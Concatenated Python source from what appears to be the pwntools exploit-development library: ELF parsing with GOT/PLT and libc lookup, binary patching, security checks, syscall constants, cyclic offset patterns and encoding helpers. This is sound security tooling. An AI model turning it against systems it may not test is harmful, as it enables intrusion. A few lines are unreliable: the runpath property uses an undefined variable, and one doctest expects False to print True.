            >>> print(e.disasm(e.entry, 3))
                c000:       90                      nop
                c001:       cd 80                   int    0x80
        """
        return ELF(make_elf(bytes, extract=False, *a, **kw))

    def process(self, argv=[], *a, **kw):
        p = process
        if context.os == 'android':
            p = adb.process
        return p([self.path] + argv, *a, **kw)

    def _describe(self):
        log.info_once('\n'.join((repr(self.path),
                                '%-10s%s-%s-%s' % ('Arch:', self.arch, self.bits, self.endian),
                                self.checksec())))

    def __repr__(self):
        return "ELF(%r)" % self.path

    def get_machine_arch(self):
        return {
            'EM_X86_64': 'amd64',
            'EM_386' :'i386',
            'EM_486': 'i386',
            'EM_ARM': 'arm',
            'EM_AARCH64': 'aarch64',
            'EM_MIPS': 'mips',
            'EM_PPC': 'powerpc',
            'EM_PPC64': 'powerpc64',
            'EM_SPARC32PLUS': 'sparc',
            'EM_SPARCV9': 'sparc64',
            'EM_IA_64': 'ia64'
        }.get(self['e_machine'], self['e_machine'])

    @property
    def entry(self):
        """Entry point to the ELF"""
        return self.address + (self.header.e_entry - self.load_addr)
    entrypoint = entry
    start      = entry

    @property
    def elfclass(self):
        """ELF class (32 or 64).

        .. note::
            Set during ``ELFFile._identify_file``
        """
        return self._elfclass

    @elfclass.setter
    def elfclass(self, newvalue):
        self._elfclass = newvalue

    @property
    def elftype(self):
        """ELF type (EXEC, DYN, etc)"""
        return describe_e_type(self.header.e_type).split()[0]

    @property
    def segments(self):
        """A list of all segments in the ELF"""
        return list(self.iter_segments())

    @property
    def sections(self):
        """A list of all sections in the ELF"""
        return list(self.iter_sections())

    @property
    def dwarf(self):
        """DWARF info for the elf"""
        return self.get_dwarf_info()

    @property
    def sym(self):
        return self.symbols

    @property
    def address(self):
        """Address of the lowest segment loaded in the ELF.
        When updated, cascades updates to segment vaddrs, section addrs, symbols, plt, and got.

        >>> bash = ELF(which('bash'))
        >>> old = bash.symbols['read']
        >>> bash.address += 0x1000
        >>> bash.symbols['read'] == old + 0x1000
        True
        """
        return self._address

    @address.setter
    def address(self, new):
        delta     = new-self._address
        update    = lambda x: x+delta

        self.symbols = dotdict({k:update(v) for k,v in self.symbols.items()})
        self.plt     = dotdict({k:update(v) for k,v in self.plt.items()})
        self.got     = dotdict({k:update(v) for k,v in self.got.items()})

        self._address = update(self.address)

    def section(self, name):
        """Gets data for the named section

        Arguments:
            name(str): Name of the section

        Returns:
            String containing the bytes for that section
        """
        return self.get_section_by_name(name).data()

    @property
    def rwx_segments(self):
        """Returns: list of all segments which are writeable and executable."""
        if not self.nx:
            return self.writable_segments

        wx = P_FLAGS.PF_X | P_FLAGS.PF_W
        return [s for s in self.segments if s.header.p_flags & wx == wx]

    @property
    def executable_segments(self):
        """Returns: list of all segments which are executable."""
        if not self.nx:
            return list(self.segments)

        return [s for s in self.segments if s.header.p_flags & P_FLAGS.PF_X]

    @property
    def writable_segments(self):
        """Returns: list of all segments which are writeable"""
        return [s for s in self.segments if s.header.p_flags & P_FLAGS.PF_W]

    @property
    def non_writable_segments(self):
        """Returns: list of all segments which are NOT writeable"""
        return [s for s in self.segments if not s.header.p_flags & P_FLAGS.PF_W]

    @property
    def libc(self):
        """If the ELF imports any libraries which contain 'libc.so',
        and we can determine the appropriate path to it on the local
        system, returns an ELF object pertaining to that libc.so.

        Otherwise, returns ``None``.
        """
        for lib in self.libs:
            if '/libc.' in lib or '/libc-' in lib:
                return ELF(lib)


    def _populate_libraries(self):
        """
        >>> from os.path import exists
        >>> bash = ELF(which('bash'))
        >>> all(map(exists, bash.libs.keys()))
        True
        >>> any(map(lambda x: 'libc' in x, bash.libs.keys()))
        True
        """
        if not self.get_section_by_name('.dynamic'):
            self.libs= {}
            return

        try:
            cmd = misc.sh_command_with('ulimit -s unlimited; LD_TRACE_LOADED_OBJECTS=1 LD_WARN=1 LD_BIND_NOW=1 %s 2>/dev/null', self.path)

            data = subprocess.check_output(cmd, shell = True, stderr = subprocess.STDOUT)
            libs = misc.parse_ldd_output(data)

            for lib in dict(libs):
                if os.path.exists(lib):
                    continue

                qemu_lib = '/etc/qemu-binfmt/%s/%s' % (get_qemu_arch(arch=self.arch), lib)

                if os.path.exists(qemu_lib):
                    libs[os.path.realpath(qemu_lib)] = libs.pop(lib)

            self.libs = libs

        except subprocess.CalledProcessError:
            self.libs = {}

    def _populate_functions(self):
        """Builds a dict of 'functions' (i.e. symbols of type 'STT_FUNC')
        by function name that map to a tuple consisting of the func address and size
        in bytes.
        """
        self.functions = dict()
        for sec in self.sections:
            if not isinstance(sec, SymbolTableSection):
                continue

            for sym in sec.iter_symbols():
                # Avoid duplicates
                if self.functions.has_key(sym.name):
                    continue
                if sym.entry.st_info['type'] == 'STT_FUNC' and sym.entry.st_size != 0:
                    name = sym.name
                    if name not in self.symbols:
                        continue
                    addr = self.symbols[name]
                    size = sym.entry.st_size
                    self.functions[name] = Function(addr, size)

    def _populate_symbols(self):
        """
        >>> bash = ELF(which('bash'))
        >>> bash.symbols['_start'] == bash.header.e_entry
        True
        """
        # By default, have 'symbols' include everything in the PLT.
        #
        # This way, elf.symbols['write'] will be a valid address to call
        # for write().
        self.symbols = dotdict(self.plt)

        for section in self.sections:
            if not isinstance(section, SymbolTableSection):
                continue

            for symbol in section.iter_symbols():
                if not symbol.entry.st_value:
                    continue

                self.symbols[symbol.name] = symbol.entry.st_value

        # Add 'plt.foo' and 'got.foo' to the symbols for entries,
        # iff there is no symbol for that address
        for sym, addr in self.plt.items():
            if addr not in self.symbols.values():
                self.symbols['plt.%s' % sym] = addr

        for sym, addr in self.got.items():
            if addr not in self.symbols.values():
                self.symbols['got.%s' % sym] = addr


    def _populate_got_plt(self):
        """Loads the GOT and the PLT symbols and addresses.

        The following doctest checks the valitidy of the addresses.
        This assumes that each GOT entry points to its PLT entry,
        usually +6 bytes but could be anywhere within 0-16 bytes.

        >>> from pwnlib.util.packing import unpack
        >>> bash = ELF(which('bash'))
        >>> def validate_got_plt(sym):
        ...     got      = bash.got[sym]
        ...     plt      = bash.plt[sym]
        ...     got_addr = unpack(bash.read(got, bash.elfclass/8), bash.elfclass)
        ...     return got_addr in range(plt,plt+0x10)
        ...
        >>> all(map(validate_got_plt, bash.got.keys()))
        True
        """
        plt = self.get_section_by_name('.plt')
        got = self.get_section_by_name('.got')

        self.got = {}
        self.plt = {}

        if not plt:
            return

        # Find the relocation section for PLT
        try:
            rel_plt = next(s for s in self.sections if
                            s.header.sh_info == self.sections.index(plt) and
                            isinstance(s, RelocationSection))
        except StopIteration:
            # Evidently whatever android-ndk uses to build binaries zeroes out sh_info for rel.plt
            rel_plt = self.get_section_by_name('.rel.plt') or self.get_section_by_name('.rela.plt')

        if not rel_plt:
            log.warning("Couldn't find relocations against PLT to get symbols")
            return

        if rel_plt.header.sh_link != SHN_INDICES.SHN_UNDEF:
            # Find the symbols for the relocation section
            sym_rel_plt = self.sections[rel_plt.header.sh_link]

            # Populate the GOT
            for rel in rel_plt.iter_relocations():
                sym_idx  = rel.entry.r_info_sym
                symbol   = sym_rel_plt.get_symbol(sym_idx)
                name     = symbol.name

                self.got[name] = rel.entry.r_offset

        # Depending on the architecture, the beginning of the .plt will differ
        # in size, and each entry in the .plt will also differ in size.
        offset     = None
        multiplier = None

        # Map architecture: offset, multiplier
        header_size, entry_size = {
            'i386':   (0x10, 0x10),
            'amd64': (0x10, 0x10),
            'arm':   (0x14, 0xC),
            'aarch64': (0x20, 0x20),
        }.get(self.arch, (0,0))

        address = plt.header.sh_addr + header_size

        # Based on the ordering of the GOT symbols, populate the PLT
        for i,(addr,name) in enumerate(sorted((addr,name) for name, addr in self.got.items())):
            self.plt[name] = address

            # Some PLT entries in ARM binaries have a thumb-mode stub that looks like:
            #
            # 00008304 <__gmon_start__@plt>:
            #     8304:   4778        bx  pc
            #     8306:   46c0        nop         ; (mov r8, r8)
            #     8308:   e28fc600    add ip, pc, #0, 12
            #     830c:   e28cca08    add ip, ip, #8, 20  ; 0x8000
            #     8310:   e5bcf228    ldr pc, [ip, #552]! ; 0x228
            if self.arch in ('arm', 'thumb') and self.u16(address) == 0x4778:
                address += 4

            address += entry_size

    def search(self, needle, writable = False):
        """search(needle, writable = False) -> str generator

        Search the ELF's virtual address space for the specified string.

        Arguments:
            needle(str): String to search for.
            writable(bool): Search only writable sections.

        Returns:
            An iterator for each virtual address that matches.

        Examples:
            >>> bash = ELF(which('bash'))
            >>> bash.address + 1 == next(bash.search('ELF'))
            True

            >>> sh = ELF(which('bash'))
            >>> # /bin/sh should only depend on libc
            >>> libc_path = [key for key in sh.libs.keys() if 'libc' in key][0]
            >>> libc = ELF(libc_path)
            >>> # this string should be in there because of system(3)
            >>> len(list(libc.search('/bin/sh'))) > 0
            True
        """
        load_address_fixup = (self.address - self.load_addr)

        if writable:
            segments = self.writable_segments
        else:
            segments = self.segments

        for seg in segments:
            addr   = seg.header.p_vaddr
            data   = seg.data()
            offset = 0
            while True:
                offset = data.find(needle, offset)
                if offset == -1:
                    break
                yield (addr + offset + load_address_fixup)
                offset += 1

    def offset_to_vaddr(self, offset):
        """Translates the specified offset to a virtual address.

        Arguments:
            offset(int): Offset to translate

        Returns:
            Virtual address which corresponds to the file offset, or None

        Examples:
            >>> bash = ELF(which('bash'))
            >>> bash.address == bash.offset_to_vaddr(0)
            True
            >>> bash.address += 0x123456
            >>> bash.address == bash.offset_to_vaddr(0)
            True
        """
        load_address_fixup = (self.address - self.load_addr)

        for segment in self.segments:
            begin = segment.header.p_offset
            size  = segment.header.p_filesz
            end   = begin + size
            if begin <= offset and offset <= end:
                delta = offset - begin
                return segment.header.p_vaddr + delta + load_address_fixup
        return None


    def vaddr_to_offset(self, address):
        """Translates the specified virtual address to a file address

        Arguments:
            address(int): Virtual address to translate

        Returns:
            Offset within the ELF file which corresponds to the address,
            or None.

        Examples:
            >>> bash = ELF(which('bash'))
            >>> 0 == bash.vaddr_to_offset(bash.address)
            True
            >>> bash.address += 0x123456
            >>> 0 == bash.vaddr_to_offset(bash.address)
            True
        """
        load_address = address - self.address + self.load_addr

        for segment in self.segments:
            begin = segment.header.p_vaddr
            size  = segment.header.p_memsz
            end   = begin + size
            if begin <= load_address and load_address <= end:
                delta = load_address - begin
                return segment.header.p_offset + delta

        log.warning("Address %#x does not exist in %s" % (address, self.file.name))
        return None

    def read(self, address, count):
        """Read data from the specified virtual address

        Arguments:
            address(int): Virtual address to read
            count(int): Number of bytes to read

        Returns:
            A string of bytes, or None

        Examples:
          >>> bash = ELF(which('bash'))
          >>> bash.read(bash.address+1, 3)
          'ELF'
        """
        offset = self.vaddr_to_offset(address)

        if offset is not None:
            old = self.stream.tell()
            self.stream.seek(offset)
            data = self.stream.read(count)
            self.stream.seek(old)
            return data

        return ''

    def write(self, address, data):
        """Writes data to the specified virtual address

        Arguments:
            address(int): Virtual address to write
            data(str): Bytes to write

        Note::
            This routine does not check the bounds on the write to ensure
            that it stays in the same segment.

        Examples:
          >>> bash = ELF(which('bash'))
          >>> bash.read(bash.address+1, 3)
          'ELF'
          >>> bash.write(bash.address, "HELO")
          >>> bash.read(bash.address, 4)
          'HELO'
        """
        offset = self.vaddr_to_offset(address)

        if offset is not None:
            old = self.stream.tell()
            self.stream.seek(offset)
            self.stream.write(data)
            self.stream.seek(old)

        return None

    def save(self, path):
        """Save the ELF to a file

        >>> bash = ELF(which('bash'))
        >>> bash.save('/tmp/bash_copy')
        >>> copy = file('/tmp/bash_copy')
        >>> bash = file(which('bash'))
        >>> bash.read() == copy.read()
        True
        """
        old = self.stream.tell()

        with open(path,'wb+') as fd:
            self.stream.seek(0)
            fd.write(self.get_data())

        self.stream.seek(old)

    def get_data(self):
        """Retrieve the raw data from the ELF file.

        >>> bash = ELF(which('bash'))
        >>> fd   = open(which('bash'))
        >>> bash.get_data() == fd.read()
        True
        """
        old = self.stream.tell()
        self.stream.seek(0)
        data = self.stream.read(self.stream.size())
        self.stream.seek(old)
        return data

    @property
    def data(self):
        return self.get_data()

    def disasm(self, address, n_bytes):
        """Returns a string of disassembled instructions at
        the specified virtual memory address"""
        arch = self.arch
        if self.arch == 'arm' and address & 1:
            arch = 'thumb'
            address -= 1
        return disasm(self.read(address, n_bytes), vma=address, arch=arch)

    def asm(self, address, assembly):
        """Assembles the specified instructions and inserts them
        into the ELF at the specified address.

        The resulting binary can be saved with ELF.save()
        """
        binary = asm(assembly, vma=address)
        self.write(address, binary)

    def bss(self, offset=0):
        """Returns an index into the .bss segment"""
        orig_bss = self.get_section_by_name('.bss').header.sh_addr
        curr_bss = orig_bss - self.load_addr + self.address
        return curr_bss + offset

    def __repr__(self):
        return "ELF(%r)" % self.path

    def dynamic_by_tag(self, tag):
        dt      = None
        dynamic = self.get_section_by_name('.dynamic')

        if not dynamic:
            return None

        try:
            dt = next(t for t in dynamic.iter_tags() if tag == t.entry.d_tag)
        except StopIteration:
            pass

        return dt

    def dynamic_string(self, offset):
        dt_strtab = self.dynamic_by_tag('DT_STRTAB')

        if not dt_strtab:
            return None

        address   = dt_strtab.entry.d_ptr + offset
        string    = ''
        while '\x00' not in string:
            string  += self.read(address, 1)
            address += 1
        return string.rstrip('\x00')


    @property
    def relro(self):
        if self.dynamic_by_tag('DT_BIND_NOW'):
            return "Full"

        if any('GNU_RELRO' in str(s.header.p_type) for s in self.segments):
            return "Partial"
        return None

    @property
    def nx(self):
        if not any('GNU_STACK' in str(seg.header.p_type) for seg in self.segments):
            return False

        # Can't call self.executable_segments because of dependency loop.
        exec_seg = [s for s in self.segments if s.header.p_flags & P_FLAGS.PF_X]
        return not any('GNU_STACK' in str(seg.header.p_type) for seg in exec_seg)

    @property
    def execstack(self):
        return not self.nx

    @property
    def canary(self):
        return '__stack_chk_fail' in self.symbols

    @property
    def packed(self):
        return 'UPX!' in self.get_data()

    @property
    def pie(self):
        return self.elftype == 'DYN'
    aslr=pie

    @property
    def rpath(self):
        dt_rpath = self.dynamic_by_tag('DT_RPATH')

        if not dt_rpath:
            return None

        return self.dynamic_string(dt_rpath.entry.d_ptr)

    @property
    def runpath(self):
        dt_runpath = self.dynamic_by_tag('DT_RUNPATH')

        if not dt_runpath:
            return None

        return self.dynamic_string(dt_rpath.entry.d_ptr)

    def checksec(self, banner=True):
        red    = text.red
        green  = text.green
        yellow = text.yellow

        res = [
            "RELRO:".ljust(10) + {
                'Full':    green("Full RELRO"),
                'Partial': yellow("Partial RELRO"),
                None:      red("No RELRO")
            }[self.relro],
            "Stack:".ljust(10) + {
                True:  green("Canary found"),
                False: red("No canary found")
            }[self.canary],
            "NX:".ljust(10) + {
                True:  green("NX enabled"),
                False: red("NX disabled"),
            }[self.nx],
            "PIE:".ljust(10) + {
                True: green("PIE enabled"),
                False: red("No PIE")
            }[self.pie]
        ]

        # Are there any RWX areas in the binary?
        #
        # This will occur if NX is disabled and *any* area is
        # RW, or can expressly occur.
        rwx = self.rwx_segments

        if self.nx and rwx:
            res += [ "RWX:".ljust(10) + red("Has RWX segments") ]

        if self.rpath:
            res += [ "RPATH:".ljust(10) + red(repr(self.rpath)) ]

        if self.runpath:
            res += [ "RUNPATH:".ljust(10) + red(repr(self.runpath)) ]

        if self.packed:
            res.append('Packer:'.ljust(10) + red("Packed with UPX"))

        if self.fortify:
            res.append("FORTIFY:".ljust(10) + green("Enabled"))

        if self.asan:
            res.append("ASAN:".ljust(10) + green("Enabled"))

        if self.msan:
            res.append("MSAN:".ljust(10) + green("Enabled"))

        if self.ubsan:
            res.append("UBSAN:".ljust(10) + green("Enabled"))

        return '\n'.join(res)

    @property
    def buildid(self):
        section = self.get_section_by_name('.note.gnu.build-id')
        if section:
            return section.data()[16:]
        return None

    @property
    def fortify(self):
        if any(s.endswith('_chk') for s in self.plt):
            return True
        return False

    @property
    def asan(self):
        return any(s.startswith('__asan_') for s in self.symbols)

    @property
    def msan(self):
        return any(s.startswith('__msan_') for s in self.symbols)

    @property
    def ubsan(self):
        return any(s.startswith('__ubsan_') for s in self.symbols)



    def p64(self,  address, data, *a, **kw):    return self.write(address, packing.p64(data, *a, **kw))
    def p32(self,  address, data, *a, **kw):    return self.write(address, packing.p32(data, *a, **kw))
    def p16(self,  address, data, *a, **kw):    return self.write(address, packing.p16(data, *a, **kw))
    def p8(self,   address, data, *a, **kw):    return self.write(address, packing.p8(data, *a, **kw))
    def pack(self, address, data, *a, **kw):    return self.write(address, packing.pack(data, *a, **kw))

    def u64(self,    address, *a, **kw):        return packing.u64(self.read(address, 8), *a, **kw)
    def u32(self,    address, *a, **kw):        return packing.u32(self.read(address, 4), *a, **kw)
    def u16(self,    address, *a, **kw):        return packing.u16(self.read(address, 2), *a, **kw)
    def u8(self,     address, *a, **kw):        return packing.u8(self.read(address, 1), *a, **kw)
    def unpack(self, address, *a, **kw):        return packing.unpack(self.read(address, context.bytes), *a, **kw)
    def string(self, address):
        data = ''
        while True:
            c = self.read(address, 1)
            if not c:
                return ''
            if c == '\x00':
                return data
            data += c
            address += 1

    def flat(self, *a, **kw):       return self.send(packing.flat(*a,**kw))






"""Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from
different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing
the name of the constant, while performing all normal mathematical
operations on it.

Example:

    >>> str(constants.freebsd.SYS_stat)
    'SYS_stat'
    >>> int(constants.freebsd.SYS_stat)
    188
    >>> hex(constants.freebsd.SYS_stat)
    '0xbc'
    >>> 0 | constants.linux.i386.SYS_stat
    106
    >>> 0 + constants.linux.amd64.SYS_stat
    4

The submodule ``freebsd`` contains all constants for FreeBSD, while the
constants for Linux have been split up by architecture.

The variables of the submodules will be "lifted up" by setting the
:data:`pwnlib.context.arch` or :data:`pwnlib.context.os` in a manner similar to
what happens in :mod:`pwnlib.shellcraft`.

Example:

    >>> with context.local(os = 'freebsd'):
    ...     print int(constants.SYS_stat)
    188
    >>> with context.local(os = 'linux', arch = 'i386'):
    ...     print int(constants.SYS_stat)
    106
    >>> with context.local(os = 'linux', arch = 'amd64'):
    ...     print int(constants.SYS_stat)
    4

"""
import importlib
import sys
from types import ModuleType

from ..context import context
from ..util import safeeval
from .constant import Constant


class ConstantsModule(ModuleType):
    """
    ModuleType specialization in order to automatically
    route queries down to the correct module based on the
    current context arch / os.

        >>> with context.local(arch = 'i386', os = 'linux'):
        ...    print constants.SYS_execve + constants.PROT_WRITE
        13
        >>> with context.local(arch = 'amd64', os = 'linux'):
        ...    print constants.SYS_execve + constants.PROT_WRITE
        61
        >>> with context.local(arch = 'amd64', os = 'linux'):
        ...    print constants.SYS_execve + constants.PROT_WRITE
        61
        >>> False
        True

    """
    Constant = Constant

    possible_submodules = set(context.oses) | set(context.architectures)

    def __init__(self, name, module):
        super(ConstantsModule, self).__init__(name)
        self.__dict__.update(module.__dict__)
        self._env_store = {}

    def guess(self):
        if context.os in self.__name__ and context.arch in self.__name__:
            return self

        mod = self
        mod = getattr(mod, context.os, mod)
        mod = getattr(mod, context.arch, mod)
        return mod

    def __dir__(self):
        return self.__all__

    def __getattr__(self, key):
        # Special case for __all__, we want to return the contextually
        # relevant module.
        if key == '__all__':
            return self.guess().__dict__.keys()

        # Special case for all other special properties which aren't defined
        if key.endswith('__'):
            raise AttributeError

        # This code is only hit if the attribute doesn't already exist.
        # Attempt to import a module by the specified name.
        if key in self.possible_submodules:
            try:
                mod = importlib.import_module('.' + key, self.__name__)
                mod = ConstantsModule(mod.__name__, mod)
                setattr(self, key, mod)
                sys.modules[mod.__name__] = mod
                return mod
            except ImportError:
                pass
        else:
            mod = self.guess()
            if hasattr(mod, key):
                return getattr(mod, key)

        raise AttributeError("'module' object has no attribute '%s'" % key)

    def eval(self, string):
        """eval(string) -> value

        Evaluates a string in the context of values of this module.

        Example:

            >>> with context.local(arch = 'i386', os = 'linux'):
            ...    print 13 == constants.eval('SYS_execve + PROT_WRITE')
            True
            >>> with context.local(arch = 'amd64', os = 'linux'):
            ...    print 61 == constants.eval('SYS_execve + PROT_WRITE')
            True
            >>> with context.local(arch = 'amd64', os = 'linux'):
            ...    print 61 == constants.eval('SYS_execve + PROT_WRITE')
            True
        """
        if not isinstance(string, str):
            return string

        key = context.os, context.arch
        if key not in self._env_store:
            self._env_store[key] = {key: getattr(self, key) for key in dir(self) if not key.endswith('__')}

        return Constant('(%s)' % string, safeeval.values(string, self._env_store[key]))


# To prevent garbage collection
tether = sys.modules[__name__]

# Create the module structure
sys.modules[__name__] = ConstantsModule(__name__, tether)






class Constant(int):
    def __new__(cls, s, i):
        obj = super(Constant, cls).__new__(cls, i)
        obj.s = s
        return obj
    def __str__(self):
        return self.s
    def __repr__(self):
        return 'Constant(%r, %#x)' % (self.s,int(self))







import string

from ..context import context
from ..log import getLogger
from . import packing

log = getLogger(__name__)

# Taken from https://en.wikipedia.org/wiki/De_Bruijn_sequence but changed to a generator
def de_bruijn(alphabet = string.ascii_lowercase, n = None):
    """de_bruijn(alphabet = string.ascii_lowercase, n = 4) -> generator

    Generator for a sequence of unique substrings of length `n`. This is implemented using a
    De Bruijn Sequence over the given `alphabet`.

    The returned generator will yield up to ``len(alphabet)**n`` elements.

    Arguments:
        alphabet: List or string to generate the sequence over.
        n(int): The length of subsequences that should be unique.
    """
    if n is None:
        n = 4
    k = len(alphabet)
    a = [0] * k * n
    def db(t, p):
        if t > n:
            if n % p == 0:
                for j in range(1, p + 1):
                    yield alphabet[a[j]]
        else:
            a[t] = a[t - p]
            for c in db(t + 1, p):
                yield c

            for j in range(a[t - p] + 1, k):
                a[t] = j
                for c in db(t + 1, t):
                    yield c

    return db(1,1)

def cyclic(length = None, alphabet = string.ascii_lowercase, n = None):
    """cyclic(length = None, alphabet = string.ascii_lowercase, n = 4) -> list/str

    A simple wrapper over :func:`de_bruijn`. This function returns a
    at most `length` elements.

    If the given alphabet is a string, a string is returned from this function. Otherwise
    a list is returned.

    Arguments:
        length: The desired length of the list or None if the entire sequence is desired.
        alphabet: List or string to generate the sequence over.
        n(int): The length of subsequences that should be unique.

    Example:
        >>> cyclic(alphabet = "ABC", n = 3)
        'AAABAACABBABCACBACCBBBCBCCC'
        >>> cyclic(20)
        'aaaabaaacaaadaaaeaaa'
        >>> alphabet, n = range(30), 3
        >>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))
        (27000, 27000)
    """
    if n is None:
        n = 4

    out = []
    for ndx, c in enumerate(de_bruijn(alphabet, n)):
        if length != None and ndx >= length:
            break
        else:
            out.append(c)

    if isinstance(alphabet, str):
        return ''.join(out)
    else:
        return out

def cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None):
    """cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None) -> int

    Calculates the position of a substring into a De Bruijn sequence.

    .. todo:

       "Calculates" is an overstatement. It simply traverses the list.

       There exists better algorithms for this, but they depend on generating
       the De Bruijn sequence in another fashion. Somebody should look at it:

       https://www.sciencedirect.com/science/article/pii/S0012365X00001175

    Arguments:
        subseq: The subsequence to look for. This can either be a string, a list
                or an integer. If an integer is provided it will be packed as a
                little endian integer.
        alphabet: List or string to generate the sequence over.
        n(int): The length of subsequences that should be unique.


    Examples:

        >>> cyclic_find(cyclic(1000)[514:518])
        514
        >>> cyclic_find(0x61616162)
        4
    """
    if isinstance(subseq, (int, long)):
        width = 'all' if n is None else n * 8
        subseq = packing.pack(subseq, width, 'little', False)

    if n is None and len(subseq) != 4:
        log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \
            + "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \
            + "Truncating the data at 4 bytes.  Specify cyclic_find(..., n=%i) to override this." % len(subseq))
        subseq = subseq[:4]

    if any(c not in alphabet for c in subseq):
        return -1

    n = n or len(subseq)

    return _gen_find(subseq, de_bruijn(alphabet, n))

def _gen_find(subseq, generator):
    """Returns the first position of subseq in the generator or -1 if there is no such position."""
    subseq = list(subseq)
    pos = 0
    saved = []

    for c in generator:
        saved.append(c)
        if len(saved) > len(subseq):
            saved.pop(0)
            pos += 1
        if saved == subseq:
            return pos
    return -1






# -*- coding: utf-8 -*-
import base64
import random
import re
import string

from . import lists
from . import packing
from ..context import context
from ..log import getLogger
from ..term import text
from .cyclic import cyclic
from .cyclic import cyclic_find

log = getLogger(__name__)

def unhex(s):
    r"""unhex(s) -> str

    Hex-decodes a string.

    Example:

        >>> unhex("74657374")
        'test'
        >>> unhex("F\n")
        '\x0f'
    """
    s = s.strip()
    if len(s) % 2 != 0:
        s = '0' + s
    return s.decode('hex')

def enhex(x):
    """enhex(x) -> str

    Hex-encodes a string.

    Example:

        >>> enhex("test")
        '74657374'
    """
    return x.encode('hex')

def urlencode(s):
    """urlencode(s) -> str

    URL-encodes a string.

    Example:

        >>> urlencode("test")
        '%74%65%73%74'
    """
    return ''.join(['%%%02x' % ord(c) for c in s])

def urldecode(s, ignore_invalid = False):
    """urldecode(s, ignore_invalid = False) -> str

    URL-decodes a string.

    Example:

        >>> urldecode("test%20%41")
        'test A'
        >>> urldecode("%qq")
        Traceback (most recent call last):
        ...
        ValueError: Invalid input to urldecode
        >>> urldecode("%qq", ignore_invalid = True)
        '%qq'
    """
    res = ''
    n = 0
    while n < len(s):
        if s[n] != '%':
            res += s[n]
            n += 1
        else:
            cur = s[n+1:n+3]
            if re.match('[0-9a-fA-F]{2}', cur):
                res += chr(int(cur, 16))
                n += 3
            elif ignore_invalid:
                res += '%'
                n += 1
            else:
                raise ValueError("Invalid input to urldecode")
    return res

def bits(s, endian = 'big', zero = 0, one = 1):
    """bits(s, endian = 'big', zero = 0, one = 1) -> list

    Converts the argument a list of bits.

    Arguments:
        s: A string or number to be converted into bits.
        endian (str): The binary endian, default 'big'.
        zero: The representing a 0-bit.
        one: The representing a 1-bit.

    Returns:
        A list consisting of the values specified in `zero` and `one`.

    Examples:

        >>> bits(511, zero = "+", one = "-")
        ['+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-', '-']
        >>> sum(bits("test"))
        17
        >>> bits(0)
        [0, 0, 0, 0, 0, 0, 0, 0]
    """
    if s < 0:
        s = s & ((1<<context.bits)-1)

    if endian not in ['little', 'big']:
        raise ValueError("bits(): 'endian' must be either 'little' or 'big'")
    else:
        little = endian == 'little'

    out = []
    if isinstance(s, str):
        for c in s:
            b = ord(c)
            byte = []
            for _ in range(8):
                byte.append(one if b & 1 else zero)
                b >>= 1
            if little:
                out += byte
            else:
                out += byte[::-1]
    elif isinstance(s, (int, long)):
        if s == 0:
            out.append(zero)
        while s:
            bit, s = one if s & 1 else zero, s >> 1
            out.append(bit)
        while len(out) % 8:
            out.append(zero)
        if not little:
            out = out[::-1]
    else:
        raise ValueError("bits(): 's' must be either a string or a number")

    return out

def bits_str(s, endian = 'big', zero = '0', one = '1'):
    """bits_str(s, endian = 'big', zero = '0', one = '1') -> str

    A wrapper around :func:`bits`, which converts the output into a string.

    Examples:

       >>> bits_str(511)
       '0000000111111111'
       >>> bits_str("bits_str", endian = "little")
       '0100011010010110001011101100111011111010110011100010111001001110'
    """
    return ''.join(bits(s, endian, zero, one))

def unbits(s, endian = 'big'):
    """unbits(s, endian = 'big') -> str

    Converts an iterable of bits into a string.

    Arguments:
       s: Iterable of bits
       endian (str):  The string "little" or "big", which specifies the bits endianness.

    Returns:
       A string of the decoded bits.

    Example:
       >>> unbits([1])
       '\\x80'
       >>> unbits([1], endian = 'little')
       '\\x01'
       >>> unbits(bits('hello'), endian = 'little')
       '\\x16\\xa666\\xf6'
    """
    if endian == 'little':
        u = lambda s: chr(int(s[::-1], 2))
    elif endian == 'big':
        u = lambda s: chr(int(s, 2))
    else:
        raise ValueError("unbits(): 'endian' must be either 'little' or 'big'")

    out = ''
    cur = ''

    for c in s:
        if c in ['1', 1, True]:
            cur += '1'
        elif c in ['0', 0, False]:
            cur += '0'
        else:
            raise ValueError("unbits(): cannot decode the value %r into a bit" % c)

        if len(cur) == 8:
            out += u(cur)
            cur = ''
    if cur:
        out += u(cur.ljust(8, '0'))

    return ''.join(out)


def bitswap(s):
    """bitswap(s) -> str

    Reverses the bits in every byte of a given string.

    Example:
        >>> bitswap("1234")
        '\\x8cL\\xcc,'
    """

    out = []

    for c in s:
        out.append(unbits(bits_str(c)[::-1]))

    return ''.join(out)

def bitswap_int(n, width):
    """bitswap_int(n) -> int

    Reverses the bits of a numbers and returns the result as a new number.

    Arguments:
        n (int): The number to swap.
        width (int): The width of the integer

    Examples:
        >>> hex(bitswap_int(0x1234, 8))
        '0x2c'
        >>> hex(bitswap_int(0x1234, 16))
        '0x2c48'
        >>> hex(bitswap_int(0x1234, 24))
        '0x2c4800'
        >>> hex(bitswap_int(0x1234, 25))
        '0x589000'
    """
    # Make n fit inside the width
    n &= (1 << width) - 1

    # Convert into bits
    s = bits_str(n, endian = 'little').ljust(width, '0')[:width]

    # Convert back
    return int(s, 2)


def b64e(s):
    """b64e(s) -> str

    Base64 encodes a string

    Example:

       >>> b64e("test")
       'dGVzdA=='
       """
    return base64.b64encode(s)

def b64d(s):
    """b64d(s) -> str

    Base64 decodes a string

    Example:

       >>> b64d('dGVzdA==')
       'test'
    """
    return base64.b64decode(s)

# misc binary functions
def xor(*args, **kwargs):
    """xor(*args, cut = 'max') -> str

    Flattens its arguments using :func:`pwnlib.util.packing.flat` and
    then xors them together. If the end of a string is reached, it wraps
    around in the string.

    Arguments:
       args: The arguments to be xor'ed together.
       cut: How long a string should be returned.
            Can be either 'min'/'max'/'left'/'right' or a number.

    Returns:
       The string of the arguments xor'ed together.

    Example:
       >>> xor('lol', 'hello', 42)
       '. ***'
    """

    cut = kwargs.pop('cut', 'max')

    if kwargs != {}:
        raise TypeError("xor() got an unexpected keyword argument '%s'" % kwargs.pop()[0])

    if len(args) == 0:
        raise ValueError("Must have something to xor")

